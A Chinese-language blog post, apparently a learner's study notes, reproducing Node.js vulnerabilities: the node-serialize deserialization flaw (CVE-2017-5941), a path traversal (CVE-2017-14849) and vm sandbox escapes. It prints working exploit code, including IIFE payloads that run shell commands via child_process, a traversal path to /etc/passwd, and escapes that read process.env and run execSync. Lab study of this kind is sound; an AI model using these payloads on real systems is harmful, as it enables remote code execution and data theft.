Node.js中的反序列化漏洞:CVE-2017-5941 这个漏洞针对于node-serialize@0.0.4 这个版本
前置准备 1 2 3 4 5 6 7 8 9 10 11 12 sudo apt-get install nodejssudo apt-get install nodejs-legacynode -v sudo apt-get install npmnpm -v sudo npm install node-serialize@0.0.4 --save
建议在自己的vps下复现
我这里准备的比较粗糙,没有做好环境区分什么的
一个exp 我们直接搓一个index.js,内容如下,然后直接node运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 root@dkhkdB44QUxpXagmmGyT:~/test# cat index.js // index.js var serialize = require('node-serialize' ); var chybeta = { vuln : function (){require('child_process' ).exec ('whoami' , function (error, stdout, stderr) {console.log(stdout);});}, } serResult = serialize.serialize(chybeta); console.log("serialize result:" ); console.log(serResult+'\n' ); console.log("Direct unserialize:" ) serialize.unserialize(serResult); console.log("\n" ); console.log("Use IIFE to PWN it:" ) exp = serResult.substr(0,serResult.length-2) + "()" + serResult.substr(-2); console.log(exp); console.log("Exec whoami:" ) serialize.unserialize(exp); // node index.js root@dkhkdB44QUxpXagmmGyT:~/test# node index.js serialize result: {"vuln" :"_$$ND_FUNC$$_function (){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});}" } Direct unserialize: Use IIFE to PWN it: {"vuln" :"_$$ND_FUNC$$_function (){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});}()" } Exec whoami : root
我们会发现直接执行了whoami命令,那么这条反序列化是如何利用的呢
理论分析
IIFE 是一种立即调用函数表达式,在定义时候就会被执行的表达式(可以类比python中的海象表达式)IIFE相关内容 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 (function ( ) { })(); (() => { })(); (async () => { })();
通常是需要括号括起来才能被正常解析
参数可以通过,也可以不提供
关于serialize.js中反序列化处理出错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 root@dkhkdB44QUxpXagmmGyT:~/node_modules/node-serialize/lib# cat serialize.js var FUNCFLAG = '_$$ND_FUNC$$_' ; var CIRCULARFLAG = '_$$ND_CC$$_' ; var KEYPATHSEPARATOR = '_$$.$$_' ; var ISNATIVEFUNC = /^function \s*[^(]*\(.*\)\s*\{\s*\[native code\]\s*\}$/; var getKeyPath = function (obj, path) { path = path.split(KEYPATHSEPARATOR); var currentObj = obj; path.forEach(function (p, index) { if (index) { currentObj = currentObj[p]; } }); return currentObj; }; exports.serialize = function (obj, ignoreNativeFunc, outputObj, cache, path) { path = path || '$' ; cache = cache || {}; cache[path] = obj; outputObj = outputObj || {}; var key; for (key in obj) { if (obj.hasOwnProperty(key)) { if (typeof obj[key] === 'object' && obj[key] !== null) { var subKey; var found = false ; for (subKey in cache) { if (cache.hasOwnProperty(subKey)) { if (cache[subKey] === obj[key]) { outputObj[key] = CIRCULARFLAG + subKey; found = true ; } } } if (!found) { outputObj[key] = exports.serialize(obj[key], ignoreNativeFunc, outputObj[key], cache, path + KEYPATHSEPARATOR + key); } } else if (typeof obj[key] === 'function' ) { var funcStr = obj[key].toString(); if (ISNATIVEFUNC.test (funcStr)) { if (ignoreNativeFunc) { funcStr = 'function() {throw new Error("Call a native function unserialized")}' ; } else { throw new Error('Can\' t serialize a object with a native function property. Use serialize(obj, true ) to ignore the error.'); } } outputObj[key] = FUNCFLAG + funcStr; } else { outputObj[key] = obj[key]; } } } return (path === ' $') ? JSON.stringify(outputObj) : outputObj; }; exports.unserialize = function(obj, originObj) { var isIndex; if (typeof obj === ' string') { obj = JSON.parse(obj); isIndex = true; } originObj = originObj || obj; var circularTasks = []; var key; for(key in obj) { if(obj.hasOwnProperty(key)) { if(typeof obj[key] === ' object') { obj[key] = exports.unserialize(obj[key], originObj); } else if(typeof obj[key] === ' string') { if(obj[key].indexOf(FUNCFLAG) === 0) { obj[key] = eval(' (' + obj[key].substring(FUNCFLAG.length) + ' )'); } else if(obj[key].indexOf(CIRCULARFLAG) === 0) { obj[key] = obj[key].substring(CIRCULARFLAG.length); circularTasks.push({obj: obj, key: key}); } } } } if (isIndex) { circularTasks.forEach(function(task) { task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]); }); } return obj; };
注意看这段反序列化处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 exports .unserialize = function (obj, originObj ) { var isIndex; if (typeof obj === 'string' ) { obj = JSON .parse (obj); isIndex = true ; } originObj = originObj || obj; var circularTasks = []; var key; for (key in obj) { if (obj.hasOwnProperty (key)) { if (typeof obj[key] === 'object' ) { obj[key] = exports .unserialize (obj[key], originObj); } else if (typeof obj[key] === 'string' ) { if (obj[key].indexOf (FUNCFLAG ) === 0 ) { obj[key] = eval ('(' + obj[key].substring (FUNCFLAG .length ) + ')' ); } else if (obj[key].indexOf (CIRCULARFLAG ) === 0 ) { obj[key] = obj[key].substring (CIRCULARFLAG .length ); circularTasks.push ({obj : obj, key : key}); } } } } if (isIndex) { circularTasks.forEach (function (task ) { task.obj [task.key ] = getKeyPath (originObj, task.obj [task.key ]); }); } return obj; };
这里注意到有一句eval,是否可以进行命令执行呢
1 obj[key] = eval ('(' + obj[key].substring (FUNCFLAG .length ) + ')' );
这里的unserialize逻辑允许一种特殊字符串前缀FUNCFLAG(序列化时把函数变成字符串并加上前缀).攻击者能够控制 obj 的内容(未信任来源)。关键点:反序列化过程**把外部输入当“可执行代码的字符串”**处理。 我们构造一个IIFE,在调用这个版本的unserialize的时候,就能够杯执行(构造时要注意前缀等内容)
这里也是有一份现成的脚本
1 2 3 4 5 6 7 8 9 10 11 serialize = require ('node-serialize' ); var test = { exp : function ( ){ require ('child_process' ).exec ('ls /' , function (error, stdout, stderr ){ console .log (stdout) }); }, } console .log ("序列化生成的payload:\n" + serialize.serialize (test));
看一下逻辑就是用node-serialize这个库进行序列化(会自动带上标志前缀)
生成的payload被unserialize调用的时候就会被调用造成rce了
Node.js 目录穿越漏洞复现 CVE-2017-14849 复现的时候搭环境就有点问题,我本人并不喜欢在本地起docker,更喜欢在vps上进行操作,由于前几次git clone下来的文件内容都比较小,所以我也就随意clone了,然后vps上还存了三四个将来要打和复现的题目的docker环境,导致我原本2g的容量不太够,在vulhub想用svn单独clone这个漏洞的文件夹下来,发现一直报错(原因不明),后面我还是全clone下来了(没想到vulhub居然只占不到100mb)
直接起docker,然后burpsuit抓包 将GET方法的/改为/static/../../../a/../../../../etc/passwd 即可下载得到/etc/passwd文件 如图所示
原理暂时还是无法理解(doge)https://security.tencent.com/index.php/blog/msg/121
vm沙箱逃逸 煮波打了两天的春秋云镜,才拿到了第一个flag(已老实,这套靶场打完我会尽快的更新wp,尽量做到比包子王还要详细,工具的配置什么的我会讲的更加清楚,然后也会提供一个工具箱的地址,有的摸爬滚打真的只有自己体会了之后才能知道)
现在重新回来把VM沙箱逃逸的内容补充一下,Nodejs这块内容就算是告一段落了,后续要是还有什么很骚的姿势我会接着补充的
vm简介 vm模块能够在V8虚拟机上下文中编译和运行代码,隔离当前的执行环境,避免被恶意代码攻击
听着似乎是挺安全的,实际上呢?
逃逸例子 目前最常见的exp
1 2 3 const vm = require ("vm" );const env = vm.runInNewContext (`this.constructor.constructor('return this.process.env')()` );console .log (env);
运行之后造成了什么后果呢?
1 2 3 4 5 6 7 8 9 10 11 root@dkhkdB44QUxpXagmmGyT:~# node test.js { SHELL: '/bin/bash' , PWD: '/root' , LOGNAME: 'root' , XDG_SESSION_TYPE: 'tty' , MOTD_SHOWN: 'pam' , HOME: '/root' , LANG: 'C.UTF-8' , ....... }
爆了一地的装备,那这就很有意思了,明明说vm是提供了一个安全的隔离环境来运行js代码,那么这里为什么会爆装备呢
解释 在创建vm环境的时候,会先初始化一个对象,这里姑且叫做沙箱sandbox,这个对象就是在vm中执行脚本时的全局环境,这里叫做context,在这个vm脚本中,全局this指向这个对象,看如下
上面的exp可以等价于下面的这段代码
1 2 3 4 5 6 const vm = require ('vm' );const sandbox = {};const script = new vm.Script ("this.constructor.constructor('return this.process.env')()" );const context = vm.createContext (sandbox);env = script.runInContext (context); console .log (env);
这里来逐行分析
第一行就是直接require一个vm 第二行就是先初始化一个对象sandbox,后续会作为vm这里的全局环境 第三行这里主要是一个this.constructor.constructor的问题this.constructor.constructor 返回的是一个Function constructor,然后这里我们就可以利用这个特性,利用function对象来构造一个函数并执行(也就是这里的return this.process.env)。其次的new vm.Script(codeString)就是把传入的 JavaScript 源码编译成一个可重复执行的 Script 对象,但并不立即执行 第四行vm.createContext(sandbox)的操作就是:把一个普通对象 sandbox “上下文化”(contextify)为 V8 的独立全局对象(context)。之后在这个 context 里运行的脚本,会把该 context 作为它的全局对象(globalThis / this)的基础 第五行script.runInContext(context):在先前 createContext 创建的 context(上下文)中执行 vm.Script 编译的代码并返回结果。相当于把编译好的代码“注入”到该 context 的全局里执行 后面就得到了env
但是要说这里面的根本原因,其实还是在creatContest这里
vm.createContext 并未移除 constructor 这类链条。通过对象构造器的链(this.constructor.constructor)可以取得 Function,而 Function 构造出来的函数运行在宿主全局,从而可以访问宿主的敏感全局(process、require 等)
同样的道理,配合上chile_process.exec()就可以进行rce了
1 2 3 4 const vm = require ("vm" );const env = vm.runInNewContext (`const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('whoami').toString()` );console .log (env);
Nodejs告一段落了,最近看了X1r0z大佬的博客,被他那么全面的技术栈震惊到了(居然还会区块链),每看一位大佬的博客,感觉都像是对我自己不足的一次警醒,起点已经比大家低很多了,所以要进行更多的学习